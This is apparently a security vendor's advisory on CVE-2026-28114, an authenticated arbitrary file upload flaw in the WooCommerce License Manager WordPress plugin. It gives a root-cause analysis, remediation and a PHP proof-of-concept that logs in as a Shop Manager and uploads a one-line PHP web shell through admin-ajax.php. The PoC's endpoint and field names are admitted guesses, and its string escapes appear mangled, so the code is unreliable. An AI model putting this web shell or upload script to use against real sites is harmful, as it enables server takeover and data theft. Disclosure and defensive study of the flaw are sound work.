Atomic Edge analysis of CVE-2026-28114 (metadata-based):
This vulnerability is an authenticated arbitrary file upload flaw in the WooCommerce License Manager plugin for WordPress. The issue affects all plugin versions up to and including 7.0.6. Attackers with Shop Manager-level privileges or higher can upload files of any type to the server, which can lead to remote code execution.
Atomic Edge research identifies the root cause as CWE-434, Unrestricted Upload of File with Dangerous Type. The vulnerability description explicitly states missing file type validation. Without access to source code diffs, this analysis infers that a file upload handler within the plugin’s administrative interface does not perform proper validation on the `Content-Type` header, file extension, or file magic bytes before moving the uploaded file to a web-accessible directory. This is a common pattern in WordPress plugins that handle media or license key imports.
Exploitation requires an authenticated session with the `shop_manager` capability. The attacker would likely target an AJAX endpoint or admin POST handler associated with license import or file upload functionality. A typical payload is a PHP web shell disguised with a double extension (e.g., `shell.php.jpg`) or a simple `.php` file. The request would be sent to `/wp-admin/admin-ajax.php` with an `action` parameter specific to the plugin, such as `fslm_upload_file` or `fslm_import_keys`, containing the malicious file in a multipart form-data field.
The remediation, as implied by the patched version 7.0.7, likely involves implementing a strict allowlist of permitted file extensions (e.g., `.csv`, `.txt`) and MIME types. The fix should also include server-side validation of file content, removal of executable permissions from the upload directory, and proper capability checks on the upload handler. These are standard secure coding practices for WordPress file upload features.
Successful exploitation grants an attacker the ability to write arbitrary files to the server. The primary impact is remote code execution by uploading a web shell to a location within the web root. This compromises the entire hosting environment, allowing data theft, site defacement, and server-side request forgery. The CVSS vector scores a high impact on confidentiality, integrity, and availability due to the complete system compromise potential.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28114 - WooCommerce License Manager <= 7.0.6 - Authenticated (Shop Manager+) Arbitrary File Upload
<?php
$target_url = 'https://example.com';
$username = 'shop_manager_user';
$password = 'shop_manager_pass';
// 1. Authenticate to obtain WordPress session cookies.
// This simulates a Shop Manager logging into wp-login.php.
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
// 2. Construct the malicious file upload request.
// Assumption: The plugin uses an AJAX handler with an action like 'fslm_upload_file'.
// The vulnerable parameter is inferred to be a file field named 'import_file'.
$upload_url = $target_url . '/wp-admin/admin-ajax.php';
$php_shell = '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>';
$malicious_file = [
'name' => 'shell.php',
'type' => 'application/x-php',
'content' => $php_shell
];
// Build multipart form data manually.
$boundary = '----AtomicEdgeBoundary' . uniqid();
$body = "--$boundaryrn";
$body .= "Content-Disposition: form-data; name="action"rnrn";
$body .= "fslm_upload_filern";
$body .= "--$boundaryrn";
$body .= "Content-Disposition: form-data; name="import_file"; filename="{$malicious_file['name']}"rn";
$body .= "Content-Type: {$malicious_file['type']}rnrn";
$body .= $malicious_file['content'] . "rn";
$body .= "--$boundary--rn";
curl_setopt_array($ch, [
CURLOPT_URL => $upload_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $body,
CURLOPT_HTTPHEADER => [
"Content-Type: multipart/form-data; boundary=$boundary",
"X-Requested-With: XMLHttpRequest"
],
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
]);
$upload_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
unlink($cookie_file);
// 3. Output result.
echo "Upload request completed with HTTP code: $http_coden";
echo "Response: $upload_responsen";
// Note: The actual path of the uploaded file would need to be parsed from the response or discovered.
?>
